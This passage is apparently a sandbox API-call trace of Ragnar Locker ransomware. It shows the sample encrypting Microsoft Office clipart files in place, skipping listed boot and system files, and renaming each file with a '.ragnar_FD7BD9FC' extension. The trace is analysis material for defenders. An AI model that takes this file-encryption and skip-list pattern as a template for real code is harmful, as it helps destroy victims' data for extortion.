(lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.932] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1 [0081.932] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.932] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01183_.WMF" | out: lpString1="DD01183_.WMF") returned="DD01183_.WMF" [0081.932] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned=".WMF" [0081.932] lstrcmpiW (lpString1="DD01183_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.932] lstrcmpiW (lpString1="DD01183_.WMF", lpString2="autorun.inf") returned 1 [0081.932] lstrcmpiW (lpString1="DD01183_.WMF", lpString2="boot.ini") returned 1 [0081.932] lstrcmpiW (lpString1="DD01183_.WMF", lpString2="bootfont.bin") returned 1 [0081.932] lstrcmpiW (lpString1="DD01183_.WMF", lpString2="bootsect.bak") returned 1 [0081.932] lstrcmpiW (lpString1="DD01183_.WMF", lpString2="bootmgr") returned 1 [0081.932] lstrcmpiW (lpString1="DD01183_.WMF", lpString2="bootmgr.efi") returned 1 [0081.932] lstrcmpiW (lpString1="DD01183_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.932] lstrcmpiW (lpString1="DD01183_.WMF", lpString2="desktop.ini") returned -1 [0081.932] lstrcmpiW (lpString1="DD01183_.WMF", lpString2="iconcache.db") returned -1 [0081.932] lstrcmpiW (lpString1="DD01183_.WMF", lpString2="ntldr") returned -1 [0081.932] lstrcmpiW (lpString1="DD01183_.WMF", lpString2="ntuser.dat") returned -1 [0081.932] lstrcmpiW (lpString1="DD01183_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.932] lstrcmpiW (lpString1="DD01183_.WMF", lpString2="ntuser.ini") returned -1 [0081.932] lstrcmpiW (lpString1="DD01183_.WMF", lpString2="thumbs.db") returned -1 [0081.932] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.933] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.933] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.933] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.933] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.933] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.933] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x20 [0081.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.933] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2296) returned 1 [0081.933] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.933] GetProcessHeap () returned 0x580000 [0081.933] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.933] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.935] VirtualAlloc (lpAddress=0x0, dwSize=0x8f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.935] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.935] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.935] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8f8, lpOverlapped=0x0) returned 1 [0081.935] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.935] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.935] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8f8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8f8, lpOverlapped=0x0) returned 1 [0081.935] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.936] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.936] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.936] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.936] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.936] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.936] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.936] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.936] GetProcessHeap () returned 0x580000 [0081.936] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.936] CloseHandle (hObject=0xf4) returned 1 [0081.936] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" [0081.936] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.ragnar_FD7BD9FC" [0081.936] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.937] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9936cb00, ftCreationTime.dwHighDateTime=0x1bd4c0e, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9936cb00, ftLastWriteTime.dwHighDateTime=0x1bd4c0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1 [0081.937] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.937] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01186_.WMF" | out: lpString1="DD01186_.WMF") returned="DD01186_.WMF" [0081.937] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned=".WMF" [0081.937] lstrcmpiW (lpString1="DD01186_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.937] lstrcmpiW (lpString1="DD01186_.WMF", lpString2="autorun.inf") returned 1 [0081.937] lstrcmpiW (lpString1="DD01186_.WMF", lpString2="boot.ini") returned 1 [0081.937] lstrcmpiW (lpString1="DD01186_.WMF", lpString2="bootfont.bin") returned 1 [0081.937] lstrcmpiW (lpString1="DD01186_.WMF", lpString2="bootsect.bak") returned 1 [0081.937] lstrcmpiW (lpString1="DD01186_.WMF", lpString2="bootmgr") returned 1 [0081.937] lstrcmpiW (lpString1="DD01186_.WMF", lpString2="bootmgr.efi") returned 1 [0081.937] lstrcmpiW (lpString1="DD01186_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.937] lstrcmpiW (lpString1="DD01186_.WMF", lpString2="desktop.ini") returned -1 [0081.937] lstrcmpiW (lpString1="DD01186_.WMF", lpString2="iconcache.db") returned -1 [0081.937] lstrcmpiW (lpString1="DD01186_.WMF", lpString2="ntldr") returned -1 [0081.937] lstrcmpiW (lpString1="DD01186_.WMF", lpString2="ntuser.dat") returned -1 [0081.937] lstrcmpiW (lpString1="DD01186_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.937] lstrcmpiW (lpString1="DD01186_.WMF", lpString2="ntuser.ini") returned -1 [0081.937] lstrcmpiW (lpString1="DD01186_.WMF", lpString2="thumbs.db") returned -1 [0081.937] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.937] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.937] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.937] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.937] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.937] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.937] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x20 [0081.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.938] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8564) returned 1 [0081.938] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x216b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.938] GetProcessHeap () returned 0x580000 [0081.938] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.938] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.939] VirtualAlloc (lpAddress=0x0, dwSize=0x2174, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.940] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.940] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.940] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2174, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2174, lpOverlapped=0x0) returned 1 [0081.941] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.941] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2174, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.941] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2174, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2174, lpOverlapped=0x0) returned 1 [0081.941] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2174, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.941] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.941] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.941] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.941] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.941] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.941] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.942] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.942] GetProcessHeap () returned 0x580000 [0081.942] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.942] CloseHandle (hObject=0xf4) returned 1 [0081.942] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" [0081.942] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.ragnar_FD7BD9FC" [0081.942] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.942] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fe9900, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4fe9900, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1 [0081.942] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.942] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01366_.WMF" | out: lpString1="DD01366_.WMF") returned="DD01366_.WMF" [0081.942] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned=".WMF" [0081.942] lstrcmpiW (lpString1="DD01366_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.942] lstrcmpiW (lpString1="DD01366_.WMF", lpString2="autorun.inf") returned 1 [0081.942] lstrcmpiW (lpString1="DD01366_.WMF", lpString2="boot.ini") returned 1 [0081.942] lstrcmpiW (lpString1="DD01366_.WMF", lpString2="bootfont.bin") returned 1 [0081.942] lstrcmpiW (lpString1="DD01366_.WMF", lpString2="bootsect.bak") returned 1 [0081.942] lstrcmpiW (lpString1="DD01366_.WMF", lpString2="bootmgr") returned 1 [0081.943] lstrcmpiW (lpString1="DD01366_.WMF", lpString2="bootmgr.efi") returned 1 [0081.943] lstrcmpiW (lpString1="DD01366_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.943] lstrcmpiW (lpString1="DD01366_.WMF", lpString2="desktop.ini") returned -1 [0081.943] lstrcmpiW (lpString1="DD01366_.WMF", lpString2="iconcache.db") returned -1 [0081.943] lstrcmpiW (lpString1="DD01366_.WMF", lpString2="ntldr") returned -1 [0081.943] lstrcmpiW (lpString1="DD01366_.WMF", lpString2="ntuser.dat") returned -1 [0081.943] lstrcmpiW (lpString1="DD01366_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.943] lstrcmpiW (lpString1="DD01366_.WMF", lpString2="ntuser.ini") returned -1 [0081.943] lstrcmpiW (lpString1="DD01366_.WMF", lpString2="thumbs.db") returned -1 [0081.943] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.943] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.943] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.943] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.943] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.943] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.943] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x20 [0081.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.944] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1768) returned 1 [0081.944] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.944] GetProcessHeap () returned 0x580000 [0081.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.944] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.946] VirtualAlloc (lpAddress=0x0, dwSize=0x6e8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.946] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.946] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.946] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6e8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6e8, lpOverlapped=0x0) returned 1 [0081.946] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.946] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.946] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6e8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6e8, lpOverlapped=0x0) returned 1 [0081.946] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.946] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.946] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.946] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.946] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.947] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.947] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.947] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.947] GetProcessHeap () returned 0x580000 [0081.947] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.947] CloseHandle (hObject=0xf4) returned 1 [0081.947] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" [0081.947] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.ragnar_FD7BD9FC" [0081.947] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.948] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81594a00, ftCreationTime.dwHighDateTime=0x1bd4c02, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81594a00, 